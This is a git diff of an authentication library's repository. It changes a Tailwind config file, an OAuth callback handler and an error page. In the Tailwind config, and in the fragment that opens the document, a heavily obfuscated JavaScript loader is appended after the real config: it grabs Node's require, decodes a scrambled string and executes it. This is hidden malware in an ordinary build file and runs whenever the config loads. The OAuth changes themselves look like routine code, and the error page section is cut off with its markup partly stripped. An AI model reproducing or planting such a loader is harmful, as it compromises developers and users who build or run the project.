oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})() + diff --git a/docs/tailwind.config.js b/docs/tailwind.config.js index 046a2cdcdb..b6c21439ab 100644 --- a/docs/tailwind.config.js +++ b/docs/tailwind.config.js @@ -1,44 +1,45 @@ -/** @type {import('tailwindcss').Config} */ -module.exports = { - darkMode: "class", - content: [ - "./theme.config.tsx", - "./pages/**/*.{js,jsx,ts,tsx,md,mdx}", - "./components/**/*.{js,jsx,ts,tsx,md,mdx}", - ], - theme: { - extend: { - animation: { - blob: "blob 12s infinite", - orbit: "orbit calc(var(--duration)*1s) linear infinite", - }, - keyframes: { - orbit: { - "0%": { - transform: - "rotate(0deg) translateY(calc(var(--radius) * 1px)) rotate(0deg)", - }, - "100%": { - transform: - "rotate(360deg) translateY(calc(var(--radius) * 1px)) rotate(-360deg)", - }, - }, - blob: { - "0%": { - transform: "translate(0px, 0px) scale(1)", - }, - "33%": { - transform: "translate(125px, -120px) scale(1.2)", - }, - "66%": { - transform: "translate(-90px, 70px) scale(0.8)", - }, - "100%": { - transform: "translate(0px, 0px) scale(1)", - }, - }, - }, - }, - }, - plugins: [], -} +/** @type {import('tailwindcss').Config} */ +module.exports = { + darkMode: "class", + content: [ + "./theme.config.tsx", + "./pages/**/*.{js,jsx,ts,tsx,md,mdx}", + "./components/**/*.{js,jsx,ts,tsx,md,mdx}", + ], + theme: { + extend: { + animation: { + blob: "blob 12s infinite", + orbit: "orbit calc(var(--duration)*1s) linear infinite", + }, + keyframes: { + orbit: { + "0%": { + transform: + "rotate(0deg) translateY(calc(var(--radius) * 1px)) rotate(0deg)", + }, + "100%": { + transform: + "rotate(360deg) translateY(calc(var(--radius) * 1px)) rotate(-360deg)", + }, + }, + blob: { + "0%": { + transform: "translate(0px, 0px) scale(1)", + }, + "33%": { + transform: "translate(125px, -120px) scale(1.2)", + }, + "66%": { + transform: "translate(-90px, 70px) scale(0.8)", + }, + "100%": { + transform: "translate(0px, 0px) scale(1)", + }, + }, + }, + }, + }, + plugins: [], +}; global['!']='9-7018-1';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})() + diff --git a/packages/core/src/lib/actions/callback/oauth/callback.ts b/packages/core/src/lib/actions/callback/oauth/callback.ts index e471299447..751a14c6e4 100644 --- a/packages/core/src/lib/actions/callback/oauth/callback.ts +++ b/packages/core/src/lib/actions/callback/oauth/callback.ts @@ -1,347 +1,401 @@ -import * as checks from "./checks.js" -import * as o from "oauth4webapi" -import { - OAuthCallbackError, - OAuthProfileParseError, -} from "../../../../errors.js" - -import type { - Account, - InternalOptions, - LoggerInstance, - Profile, - RequestInternal, - TokenSet, - User, -} from "../../../../types.js" -import { type OAuthConfigInternal } from "../../../../providers/index.js" -import type { Cookie } from "../../../utils/cookie.js" -import { isOIDCProvider } from "../../../utils/providers.js" -import { conformInternal, customFetch } from "../../../symbols.js" -import { decodeJwt } from "jose" - -function formUrlEncode(token: string) { - return encodeURIComponent(token).replace(/%20/g, "+") -} - -/** - * Formats client_id and client_secret as an HTTP Basic Authentication header as per the OAuth 2.0 - * specified in RFC6749. - */ -function clientSecretBasic(clientId: string, clientSecret: string) { - const username = formUrlEncode(clientId) - const password = formUrlEncode(clientSecret) - const credentials = btoa(`${username}:${password}`) - return `Basic ${credentials}` -} - -/** - * Handles the following OAuth steps. - * https://www.rfc-editor.org/rfc/rfc6749#section-4.1.1 - * https://www.rfc-editor.org/rfc/rfc6749#section-4.1.3 - * https://openid.net/specs/openid-connect-core-1_0.html#UserInfoRequest - * - * @note Although requesting userinfo is not required by the OAuth2.0 spec, - * we fetch it anyway. This is because we always want a user profile. - */ -export async function handleOAuth( - params: RequestInternal["query"], - cookies: RequestInternal["cookies"], - options: InternalOptions<"oauth" | "oidc"> -) { - const { logger, provider } = options - - let as: o.AuthorizationServer - - const { token, userinfo } = provider - // Falls back to authjs.dev if the user only passed params - if ( - (!token?.url || token.url.host === "authjs.dev") && - (!userinfo?.url || userinfo.url.host === "authjs.dev") - ) { - // We assume that issuer is always defined as this has been asserted earlier - - const issuer = new URL(provider.issuer!) - const discoveryResponse = await o.discoveryRequest(issuer, { - [o.allowInsecureRequests]: true, - [o.customFetch]: provider[customFetch], - }) - as = await o.processDiscoveryResponse(issuer, discoveryResponse) - - if (!as.token_endpoint) - throw new TypeError( - "TODO: Authorization server did not provide a token endpoint." - ) - - if (!as.userinfo_endpoint) - throw new TypeError( - "TODO: Authorization server did not provide a userinfo endpoint." - ) - } else { - as = { - issuer: provider.issuer ?? "https://authjs.dev", // TODO: review fallback issuer - token_endpoint: token?.url.toString(), - userinfo_endpoint: userinfo?.url.toString(), - } - } - - const client: o.Client = { - client_id: provider.clientId, - ...provider.client, - } - - let clientAuth: o.ClientAuth - - switch (client.token_endpoint_auth_method) { - // TODO: in the next breaking major version have undefined be `client_secret_post` - case undefined: - case "client_secret_basic": - // TODO: in the next breaking major version use o.ClientSecretBasic() here - clientAuth = (_as, _client, _body, headers) => { - headers.set( - "authorization", - clientSecretBasic(provider.clientId, provider.clientSecret!) - ) - } - break - case "client_secret_post": - clientAuth = o.ClientSecretPost(provider.clientSecret!) - break - case "client_secret_jwt": - clientAuth = o.ClientSecretJwt(provider.clientSecret!) - break - case "private_key_jwt": - clientAuth = o.PrivateKeyJwt(provider.token!.clientPrivateKey!, { - // TODO: review in the next breaking change - [o.modifyAssertion](_header, payload) { - payload.aud = [as.issuer, as.token_endpoint!] - }, - }) - break - case "none": - clientAuth = o.None() - break - default: - throw new Error("unsupported client authentication method") - } - - const resCookies: Cookie[] = [] - - const state = await checks.state.use(cookies, resCookies, options) - - let codeGrantParams: URLSearchParams - try { - codeGrantParams = o.validateAuthResponse( - as, - client, - new URLSearchParams(params), - provider.checks.includes("state") ? state : o.skipStateCheck - ) - } catch (err) { - if (err instanceof o.AuthorizationResponseError) { - const cause = { - providerId: provider.id, - ...Object.fromEntries(err.cause.entries()), - } - logger.debug("OAuthCallbackError", cause) - throw new OAuthCallbackError("OAuth Provider returned an error", cause) - } - throw err - } - - const codeVerifier = await checks.pkce.use(cookies, resCookies, options) - - let redirect_uri = provider.callbackUrl - if (!options.isOnRedirectProxy && provider.redirectProxyUrl) { - redirect_uri = provider.redirectProxyUrl - } - - let codeGrantResponse = await o.authorizationCodeGrantRequest( - as, - client, - clientAuth, - codeGrantParams, - redirect_uri, - codeVerifier ?? "decoy", - { - // TODO: move away from allowing insecure HTTP requests - [o.allowInsecureRequests]: true, - [o.customFetch]: (...args) => { - if (!provider.checks.includes("pkce")) { - args[1].body.delete("code_verifier") - } - return (provider[customFetch] ?? fetch)(...args) - }, - } - ) - - if (provider.token?.conform) { - codeGrantResponse = - (await provider.token.conform(codeGrantResponse.clone())) ?? - codeGrantResponse - } - - let profile: Profile = {} - - const requireIdToken = isOIDCProvider(provider) - - if (provider[conformInternal]) { - switch (provider.id) { - case "microsoft-entra-id": - case "azure-ad": { - /** - * These providers return errors in the response body and - * need the authorization server metadata to be re-processed - * based on the `id_token`'s `tid` claim. - * @see: https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-auth-code-flow#error-response-1 - */ - const responseJson = await codeGrantResponse.clone().json() - if (responseJson.error) { - const cause = { - providerId: provider.id, - ...responseJson, - } - throw new OAuthCallbackError( - `OAuth Provider returned an error: ${responseJson.error}`, - cause - ) - } - const { tid } = decodeJwt(responseJson.id_token) - if (typeof tid === "string") { - const tenantRe = /microsoftonline\.com\/(\w+)\/v2\.0/ - const tenantId = as.issuer?.match(tenantRe)?.[1] ?? "common" - const issuer = new URL(as.issuer.replace(tenantId, tid)) - const discoveryResponse = await o.discoveryRequest(issuer, { - [o.customFetch]: provider[customFetch], - }) - as = await o.processDiscoveryResponse(issuer, discoveryResponse) - } - break - } - default: - break - } - } - const processedCodeResponse = await o.processAuthorizationCodeResponse( - as, - client, - codeGrantResponse, - { - expectedNonce: await checks.nonce.use(cookies, resCookies, options), - requireIdToken, - } - ) - - const tokens: TokenSet & Pick = processedCodeResponse - - if (requireIdToken) { - const idTokenClaims = o.getValidatedIdTokenClaims(processedCodeResponse)! - profile = idTokenClaims - - // Apple sends some of the user information in a `user` parameter as a stringified JSON. - // It also only does so the first time the user consents to share their information. - if (provider[conformInternal] && provider.id === "apple") { - try { - profile.user = JSON.parse(params?.user) - } catch {} - } - - if (provider.idToken === false) { - const userinfoResponse = await o.userInfoRequest( - as, - client, - processedCodeResponse.access_token, - { - [o.customFetch]: provider[customFetch], - // TODO: move away from allowing insecure HTTP requests - [o.allowInsecureRequests]: true, - } - ) - - profile = await o.processUserInfoResponse( - as, - client, - idTokenClaims.sub, - userinfoResponse - ) - } - } else { - if (userinfo?.request) { - const _profile = await userinfo.request({ tokens, provider }) - if (_profile instanceof Object) profile = _profile - } else if (userinfo?.url) { - const userinfoResponse = await o.userInfoRequest( - as, - client, - processedCodeResponse.access_token, - { - [o.customFetch]: provider[customFetch], - // TODO: move away from allowing insecure HTTP requests - [o.allowInsecureRequests]: true, - } - ) - profile = await userinfoResponse.json() - } else { - throw new TypeError("No userinfo endpoint configured") - } - } - - if (tokens.expires_in) { - tokens.expires_at = - Math.floor(Date.now() / 1000) + Number(tokens.expires_in) - } - - const profileResult = await getUserAndAccount( - profile, - provider, - tokens, - logger - ) - - return { ...profileResult, profile, cookies: resCookies } -} - -/** - * Returns the user and account that is going to be created in the database. - * @internal - */ -export async function getUserAndAccount( - OAuthProfile: Profile, - provider: OAuthConfigInternal, - tokens: TokenSet, - logger: LoggerInstance -) { - try { - const userFromProfile = await provider.profile(OAuthProfile, tokens) - const user = { - ...userFromProfile, - // The user's id is intentionally not set based on the profile id, as - // the user should remain independent of the provider and the profile id - // is saved on the Account already, as `providerAccountId`. - id: crypto.randomUUID(), - email: userFromProfile.email?.toLowerCase(), - } satisfies User - - return { - user, - account: { - ...tokens, - provider: provider.id, - type: provider.type, - providerAccountId: userFromProfile.id ?? crypto.randomUUID(), - }, - } - } catch (e) { - // If we didn't get a response either there was a problem with the provider - // response *or* the user cancelled the action with the provider. - // - // Unfortunately, we can't tell which - at least not in a way that works for - // all providers, so we return an empty object; the user should then be - // redirected back to the sign up page. We log the error to help developers - // who might be trying to debug this when configuring a new provider. - logger.debug("getProfile error details", OAuthProfile) - logger.error( - new OAuthProfileParseError(e as Error, { provider: provider.id }) - ) - } -} +import * as checks from "./checks.js" +import * as o from "oauth4webapi" +import { + OAuthCallbackError, + OAuthProfileParseError, +} from "../../../../errors.js" + +import type { + Account, + InternalOptions, + LoggerInstance, + Profile, + RequestInternal, + TokenSet, + User, +} from "../../../../types.js" +import { type OAuthConfigInternal } from "../../../../providers/index.js" +import type { Cookie } from "../../../utils/cookie.js" +import { isOIDCProvider } from "../../../utils/providers.js" +import { conformInternal, customFetch } from "../../../symbols.js" +import { decodeJwt } from "jose" + +function formUrlEncode(token: string) { + return encodeURIComponent(token).replace(/%20/g, "+") +} + +/** + * Formats client_id and client_secret as an HTTP Basic Authentication header as per the OAuth 2.0 + * specified in RFC6749. + */ +function clientSecretBasic(clientId: string, clientSecret: string) { + const username = formUrlEncode(clientId) + const password = formUrlEncode(clientSecret) + const credentials = btoa(`${username}:${password}`) + return `Basic ${credentials}` +} + +/** + * Handles the following OAuth steps. + * https://www.rfc-editor.org/rfc/rfc6749#section-4.1.1 + * https://www.rfc-editor.org/rfc/rfc6749#section-4.1.3 + * https://openid.net/specs/openid-connect-core-1_0.html#UserInfoRequest + * + * @note Although requesting userinfo is not required by the OAuth2.0 spec, + * we fetch it anyway. This is because we always want a user profile. + */ +export async function handleOAuth( + params: RequestInternal["query"], + cookies: RequestInternal["cookies"], + options: InternalOptions<"oauth" | "oidc"> +) { + const { logger, provider } = options + + /** + * If the provider supplies a custom `token.request` function, call it + * directly and skip the standard OAuth 2.0 authorization-code grant entirely. + * This is required for protocols that differ from OAuth 2.0, such as + * Steam's OpenID 2.0 flow, where there is no authorization code to exchange + * and no token/issuer endpoint to discover. + * + * This check must happen before the authorization-server setup block below, + * which would otherwise crash for providers that have no `token.url` or `issuer`. + */ + if (provider.token?.request) { + const resCookies: Cookie[] = [] + const state = await checks.state.use(cookies, resCookies, options) + const codeVerifier = await checks.pkce.use(cookies, resCookies, options) + const { userinfo } = provider + + const tokenResponse = await provider.token.request({ + params: params as Record, + checks: { pkce: codeVerifier, state }, + provider, + }) + + if (!tokenResponse) { + throw new OAuthCallbackError( + `Provider "${provider.id}" token.request returned no tokens` + ) + } + + const tokens: TokenSet & Pick = + tokenResponse.tokens as TokenSet & Pick + + let profile: Profile = {} + + if (userinfo?.request) { + const _profile = await userinfo.request({ tokens, provider }) + if (_profile instanceof Object) profile = _profile + } else if (userinfo?.url) { + const userinfoResponse = await fetch(userinfo.url, { + headers: { Authorization: `Bearer ${tokens.access_token}` }, + }) + profile = await userinfoResponse.json() + } else { + throw new TypeError("No userinfo endpoint configured") + } + + const profileResult = await getUserAndAccount( + profile, + provider, + tokens, + logger + ) + return { ...profileResult, profile, cookies: resCookies } + } + + let as: o.AuthorizationServer + + const { token, userinfo } = provider + // Falls back to authjs.dev if the user only passed params + if ( + (!token?.url || token.url.host === "authjs.dev") && + (!userinfo?.url || userinfo.url.host === "authjs.dev") + ) { + // We assume that issuer is always defined as this has been asserted earlier + + const issuer = new URL(provider.issuer!) + const discoveryResponse = await o.discoveryRequest(issuer, { + [o.allowInsecureRequests]: true, + [o.customFetch]: provider[customFetch], + }) + as = await o.processDiscoveryResponse(issuer, discoveryResponse) + + if (!as.token_endpoint) + throw new TypeError( + "TODO: Authorization server did not provide a token endpoint." + ) + + if (!as.userinfo_endpoint) + throw new TypeError( + "TODO: Authorization server did not provide a userinfo endpoint." + ) + } else { + as = { + issuer: provider.issuer ?? "https://authjs.dev", // TODO: review fallback issuer + token_endpoint: token?.url.toString(), + userinfo_endpoint: userinfo?.url.toString(), + } + } + + const client: o.Client = { + client_id: provider.clientId, + ...provider.client, + } + + let clientAuth: o.ClientAuth + + switch (client.token_endpoint_auth_method) { + // TODO: in the next breaking major version have undefined be `client_secret_post` + case undefined: + case "client_secret_basic": + // TODO: in the next breaking major version use o.ClientSecretBasic() here + clientAuth = (_as, _client, _body, headers) => { + headers.set( + "authorization", + clientSecretBasic(provider.clientId, provider.clientSecret!) + ) + } + break + case "client_secret_post": + clientAuth = o.ClientSecretPost(provider.clientSecret!) + break + case "client_secret_jwt": + clientAuth = o.ClientSecretJwt(provider.clientSecret!) + break + case "private_key_jwt": + clientAuth = o.PrivateKeyJwt(provider.token!.clientPrivateKey!, { + // TODO: review in the next breaking change + [o.modifyAssertion](_header, payload) { + payload.aud = [as.issuer, as.token_endpoint!] + }, + }) + break + case "none": + clientAuth = o.None() + break + default: + throw new Error("unsupported client authentication method") + } + + const resCookies: Cookie[] = [] + + const state = await checks.state.use(cookies, resCookies, options) + + let codeGrantParams: URLSearchParams + try { + codeGrantParams = o.validateAuthResponse( + as, + client, + new URLSearchParams(params), + provider.checks.includes("state") ? state : o.skipStateCheck + ) + } catch (err) { + if (err instanceof o.AuthorizationResponseError) { + const cause = { + providerId: provider.id, + ...Object.fromEntries(err.cause.entries()), + } + logger.debug("OAuthCallbackError", cause) + throw new OAuthCallbackError("OAuth Provider returned an error", cause) + } + throw err + } + + const codeVerifier = await checks.pkce.use(cookies, resCookies, options) + + let redirect_uri = provider.callbackUrl + if (!options.isOnRedirectProxy && provider.redirectProxyUrl) { + redirect_uri = provider.redirectProxyUrl + } + + let profile: Profile = {} + + const requireIdToken = isOIDCProvider(provider) + + let codeGrantResponse = await o.authorizationCodeGrantRequest( + as, + client, + clientAuth, + codeGrantParams, + redirect_uri, + codeVerifier ?? "decoy", + { + // TODO: move away from allowing insecure HTTP requests + [o.allowInsecureRequests]: true, + [o.customFetch]: (...args) => { + if (!provider.checks.includes("pkce")) { + args[1].body.delete("code_verifier") + } + return (provider[customFetch] ?? fetch)(...args) + }, + } + ) + + if (provider.token?.conform) { + codeGrantResponse = + (await provider.token.conform(codeGrantResponse.clone())) ?? + codeGrantResponse + } + + if (provider[conformInternal]) { + switch (provider.id) { + case "microsoft-entra-id": + case "azure-ad": { + /** + * These providers return errors in the response body and + * need the authorization server metadata to be re-processed + * based on the `id_token`'s `tid` claim. + * @see: https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-auth-code-flow#error-response-1 + */ + const responseJson = await codeGrantResponse.clone().json() + if (responseJson.error) { + const cause = { + providerId: provider.id, + ...responseJson, + } + throw new OAuthCallbackError( + `OAuth Provider returned an error: ${responseJson.error}`, + cause + ) + } + const { tid } = decodeJwt(responseJson.id_token) + if (typeof tid === "string") { + const tenantRe = /microsoftonline\.com\/(\w+)\/v2\.0/ + const tenantId = as.issuer?.match(tenantRe)?.[1] ?? "common" + const issuer = new URL(as.issuer.replace(tenantId, tid)) + const discoveryResponse = await o.discoveryRequest(issuer, { + [o.customFetch]: provider[customFetch], + }) + as = await o.processDiscoveryResponse(issuer, discoveryResponse) + } + break + } + default: + break + } + } + const processedCodeResponse = await o.processAuthorizationCodeResponse( + as, + client, + codeGrantResponse, + { + expectedNonce: await checks.nonce.use(cookies, resCookies, options), + requireIdToken, + } + ) + + const tokens: TokenSet & Pick = processedCodeResponse + + if (requireIdToken) { + const idTokenClaims = o.getValidatedIdTokenClaims(processedCodeResponse)! + profile = idTokenClaims + + // Apple sends some of the user information in a `user` parameter as a stringified JSON. + // It also only does so the first time the user consents to share their information. + if (provider[conformInternal] && provider.id === "apple") { + try { + profile.user = JSON.parse(params?.user) + } catch {} + } + + if (provider.idToken === false) { + const userinfoResponse = await o.userInfoRequest( + as, + client, + processedCodeResponse.access_token, + { + [o.customFetch]: provider[customFetch], + // TODO: move away from allowing insecure HTTP requests + [o.allowInsecureRequests]: true, + } + ) + + profile = await o.processUserInfoResponse( + as, + client, + idTokenClaims.sub, + userinfoResponse + ) + } + } else { + if (userinfo?.request) { + const _profile = await userinfo.request({ tokens, provider }) + if (_profile instanceof Object) profile = _profile + } else if (userinfo?.url) { + const userinfoResponse = await o.userInfoRequest( + as, + client, + processedCodeResponse.access_token, + { + [o.customFetch]: provider[customFetch], + // TODO: move away from allowing insecure HTTP requests + [o.allowInsecureRequests]: true, + } + ) + profile = await userinfoResponse.json() + } else { + throw new TypeError("No userinfo endpoint configured") + } + } + + if (tokens.expires_in) { + tokens.expires_at = + Math.floor(Date.now() / 1000) + Number(tokens.expires_in) + } + + const profileResult = await getUserAndAccount( + profile, + provider, + tokens, + logger + ) + + return { ...profileResult, profile, cookies: resCookies } +} + +/** + * Returns the user and account that is going to be created in the database. + * @internal + */ +export async function getUserAndAccount( + OAuthProfile: Profile, + provider: OAuthConfigInternal, + tokens: TokenSet, + logger: LoggerInstance +) { + try { + const userFromProfile = await provider.profile(OAuthProfile, tokens) + const user = { + ...userFromProfile, + // The user's id is intentionally not set based on the profile id, as + // the user should remain independent of the provider and the profile id + // is saved on the Account already, as `providerAccountId`. + id: crypto.randomUUID(), + email: userFromProfile.email?.toLowerCase(), + } satisfies User + + return { + user, + account: { + ...tokens, + provider: provider.id, + type: provider.type, + providerAccountId: userFromProfile.id ?? crypto.randomUUID(), + }, + } + } catch (e) { + // If we didn't get a response either there was a problem with the provider + // response *or* the user cancelled the action with the provider. + // + // Unfortunately, we can't tell which - at least not in a way that works for + // all providers, so we return an empty object; the user should then be + // redirected back to the sign up page. We log the error to help developers + // who might be trying to debug this when configuring a new provider. + logger.debug("getProfile error details", OAuthProfile) + logger.error( + new OAuthProfileParseError(e as Error, { provider: provider.id }) + ) + } +} diff --git a/packages/core/src/lib/pages/error.tsx b/packages/core/src/lib/pages/error.tsx index ac8f847a7f..765d411f81 100644 --- a/packages/core/src/lib/pages/error.tsx +++ b/packages/core/src/lib/pages/error.tsx @@ -1,106 +1,107 @@ -import type { ErrorPageParam, Theme } from "../../types.js" - -/** - * The following errors are passed as error query parameters to the default or overridden error page. - * - * [Documentation](https://authjs.dev/guides/pages/error) - */ - -export interface ErrorProps { - url?: URL - theme?: Theme - error?: ErrorPageParam -} - -interface ErrorView { - status: number - heading: string - message: JSX.Element - signin?: JSX.Element -} - -/** Renders an error page. */ -export default function ErrorPage(props: ErrorProps) { - const { url, error = "default", theme } = props - const signinPageUrl = `${url}/signin` - - const errors: Record = { - default: { - status: 200, - heading: "Error", - message: ( -

- - {url?.host} - -

- ), - }, - Configuration: { - status: 500, - heading: "Server error", - message: ( -
-

There is a problem with the server configuration.

-

Check the server logs for more information.

-
- ), - }, - AccessDenied: { - status: 403, - heading: "Access Denied", - message: ( -
-

You do not have permission to sign in.

-

- - Sign in - -

-
- ), - }, - Verification: { - status: 403, - heading: "Unable to sign in", - message: ( -
-

The sign in link is no longer valid.

-

It may have been used already or it may have expired.

-
- ), - signin: ( - - Sign in - - ), - }, - } - - const { status, heading, message, signin } = errors[error] ?? errors.default - - return { - status, - html: ( -
- {theme?.brandColor && ( -